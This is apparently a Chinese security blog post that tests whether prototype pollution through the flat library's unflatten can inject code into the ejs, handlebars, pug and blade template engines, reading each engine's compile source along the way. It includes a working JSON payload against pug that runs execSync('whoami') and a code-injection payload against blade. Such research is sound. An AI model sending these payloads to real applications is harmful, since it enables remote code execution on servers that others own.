前言

5555学习。

环境搭建

初始化一个web项目:

const express = require('express')
const bodyParser = require('body-parser')
const unflatten = require('flat').unflatten
const app = express()
app.use(bodyParser.json())

app.get("/", (req, res) => {
    res.send("Hello World!")
})

app.post("/", (req, res) => {
    const data = unflatten(req.body);
    console.log(req.body, data, this.polluted);
    res.send("OK")
})

app.listen(8080, () => {
    console.log("App Running...")
})

未指定版本下载依赖,但是测试时发现unflatten没有发生原型链污染,怀疑是版本问题,调试发现合并对象时的关键过滤代码:

Object.keys(target).forEach(function (key) {
    const split = key.split(delimiter).map(transformKey)
    let key1 = getkey(split.shift())
    let key2 = getkey(split[0])
    let recipient = result

    while (key2 !== undefined) {
        if (key1 === '__proto__') {
            return
        }
        ...
    }
    ...
}

当输入了proto.xxx这样的嵌套键值时,会触发过滤导致结果为undefined。

更换一下flat版本,根据官方仓库,选择了0.2.0版本的flat,此时可以触发原型链污染漏洞。

原型链污染注入模板解析引擎

ejs

修改一下测试代码,把模板引擎加进来:

app.post("/", (req, res) => {
    const data = unflatten(req.body);
    const template = `
        <h1>Hello, <%= name %>!</h1>
    `;
    const html = ejs.render(template, data);
    res.send(html)
})

调试一下render函数,读一下模板渲染部分的源码:

return handleCache(opts, template)(data);

很明显模板代码最后会被整合成一个匿名函数并执行,所以只要在里面注入字符串代码就能实现RCE。

看到匿名函数主要由两个部分组成,第一部分是编译设置中的一些数据和预置的一些函数,如:

if (opts._with !== false) {
    prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
    appended += '  }' + '\n';
}

如果this.source没有数据,这些代码最后会拼接到this.source中,第二部分就是用户模板:

if (opts.compileDebug) {
    src = 'var __line = 1' + '\n'
    + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
    + '  , __filename = ' + sanitizedFilename + ';' + '\n'
    + 'try {' + '\n'
    + this.source
    + '} catch (e) {' + '\n'
    + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
    + '}' + '\n';
}
else {
    src = this.source;
}

最后会整合成一个匿名函数返回:

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

根据调试,this中的属性似乎拼接不进去,而可以拼接进去的opts对象是由createNullProtoObjWherePossible函数创建的,看起来无法通过原型链进行污染。

或许低版本没有做那么多防护,可以利用,不多研究了。

handlebars

修改一下:

const data = unflatten(req.body);
const template = `
    <h1>Hello, {{name}}!</h1>
`;
const c = handlebars.compile(template);
const html = c(data)
res.send(html)

调试发现分为AST解析和执行两个部分,解析出来的AST主要由2个字符串常量和一个变量一共3个部分组成:

[
  {
    type: "ContentStatement",
    original: "\n        <h1>Hello, ",
    value: "\n        <h1>Hello, ",
    loc: {...},
  },
  {
    type: "MustacheStatement",
    path: {
      type: "PathExpression",
      data: false,
      depth: 0,
      parts: [
        "name",
      ],
      original: "name",
      loc: {...},
    },
    ...
  },
  {
    type: "ContentStatement",
    original: "!</h1>\n    ",
    value: "!</h1>\n    ",
    ...
  },
]

然后分别根据type调用对应的字节码编写函数:

Program: function Program(program) {
    this.options.blockParams.unshift(program.blockParams);

    var body = program.body,
        bodyLength = body.length;
    for (var i = 0; i < bodyLength; i++) {
        this.accept(body[i]);
    }

    this.options.blockParams.shift();

    this.isSimple = bodyLength === 1;
    this.blockParams = program.blockParams ? program.blockParams.length : 0;

    return this;
},

比如字符串常量就交给ContentStatement函数编写成一个appendContent字节码:

ContentStatement: function ContentStatement(content) {
    if (content.value) {
        this.opcode('appendContent', content.value);
    }
},

变量访问则交给了PathExpression函数整合成一个lookupOnContext字节码:

PathExpression: function PathExpression(path) {
    this.addDepth(path.depth);
    this.opcode('getContext', path.depth);

    var name = path.parts[0],
        scoped = _ast2['default'].helpers.scopedId(path),
        blockParamId = !path.depth && !scoped && this.blockParamIndex(name);

    if (blockParamId) {
        ...
    } else {
        this.opcode('lookupOnContext', path.parts, path.falsy, path.strict, scoped);
    }
},

没有发现哪里能注入额外的AST节点。

pug

app.post("/", (req, res) => {
    const data = unflatten(req.body);
    const template = `h1 Hello, #{name}!`;
    const c = pug.compile(template);
    const html = c(data)
    res.send(html)
})

pug在将模板解析为AST后遍历该AST,整合成一个匿名函数执行,存在代码注入的可能:

var parsed = compileBody(str, {...});

var res = options.inlineRuntimeFunctions
    ? new Function('', parsed.body + ';return template;')()
    : runtimeWrap(parsed.body);

调试发现,代码在遍历AST节点时存在注入:

if (debug && node.debug !== false && node.type !== 'Block') {
    if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
            js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
    }
}

但是经过了stringify函数过滤,无法闭合引号,将字符串变为代码,继续往下看。

根据节点类型调用对应的处理函数,如用于处理h1标签的visitTag函数,当tag节点存在code属性时会进入visitCode函数,该code属性由原型链污染可控:

if (tag.code) this.visitCode(tag.code);

看到这个函数中存在两个注入点,第一个是:

if (code.block) {
    if (!code.buffer) this.buf.push('{');
    this.visit(code.block, code);
    if (!code.buffer) this.buf.push('}');
}

第二个是:

if (code.buffer) {
    var val = code.val.trim();
    val = 'null == (pug_interp = ' + val + ') ? "" : pug_interp';
    if (code.mustEscape !== false)
        val = this.runtime('escape') + '(' + val + ')';
    this.bufferExpression(val);
} else {
    this.buf.push(code.val);
}

都可以将代码插入匿名函数中,可以利用:

{"name": "Twings", "__proto__.code": true, "__proto__.__proto__.buffer": true, "__proto__.__proto__.val": "(process.mainModule.require('child_process').execSync(`whoami`))"}

看到命令成功执行:

<h1>laptop-mu9vjouc\twings
Hello, Twings!</h1>

blade

app.post("/", (req, res) => {
    const data = unflatten(req.body);
    const template = `h1 Blade is cool`;
    blade.compile(template, {}, function(err, tmpl) {
        tmpl(data, function(err, html) {
            res.send(html)
        })
    });
})

阅读模板解析源码,跟pug类似,也是先解析成AST再整合成匿名函数的方式,很多地方都加上了JSON.stringify的过滤,跟入_compileNode函数,当节点类型为tag时,存在一个没有过滤且可能可控的代码注入点:

if(varAttrs.length > 0)
    this._pushOff(ns + ".r.attrs({" + varAttrs.substr(1) + "}, " + ns + ");");

varAttrs来自前面的循环块,从attrs中获取,而attrs则从节点的attributes属性中获取,找到AST构建部分的parse_tag函数,节点的attributes由parse_attributes函数获得:

var tag = {
    'type': "tag",
    'name': tagName == "" ? "div" : tagName,
    'id': id_class.id,
    'classes': id_class.classes,
    'attributes': attrs == "" ? {} : attrs,
    'children': []
};

观摩一下parse_attributes函数,attrs的获取如下:

if (result0 !== null) {
    result0 = (function(offset, line, column, first_attr, next_attrs) {
        var attrs = {};
        attrs[first_attr.name] = first_attr.value;
        for(var i in next_attrs)
            attrs[next_attrs[i].name] = next_attrs[i].value;
        return attrs;
    })(pos0.offset, pos0.line, pos0.column, result0[3], result0[4]);
}

首先要让result0不为null,但是阅读源码后发现该条件对模板有要求,要求模板中存在左括号相关的写法,随便修改一下模板:

const template = `h1( Blade is )cool`;

观察attrs的获取方法,for in语法会访问原型属性,因此这一句代码会根据原型属性修改attrs:

attrs[next_attrs[i].name] = next_attrs[i].value;

如果构造失误导致了undefined数据,后面从attrs取出数据时就会发生错误,测试用的输入:

{"__proto__.code": "console.log(233)", "__proto__.__proto__.name": "Twings", "__proto__.__proto__.value": "Twings"}

此时会给varAttrs插入代码:

varAttrs += "," + JSON.stringify(i) + ":{v:" + attrs[i].code +
    (attrs[i].escape ? ",e:1" : "") +
    (i == "class" && attrs[i].append ?
        ",a:" + JSON.stringify(attrs[i].append): "") + "}";

此时的varAttrs如下:

",\"Twings\":{v:console.log(233)},\"code\":{v:console.log(233)},\"name\":{v:console.log(233)},\"value\":{v:console.log(233)}"

可以看到代码被注入且正常执行了。


参考

一文带你理解AST Injection


Web NodeJS 原型链污染 JavaScript

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Spring反序列化漏洞
Go SSTI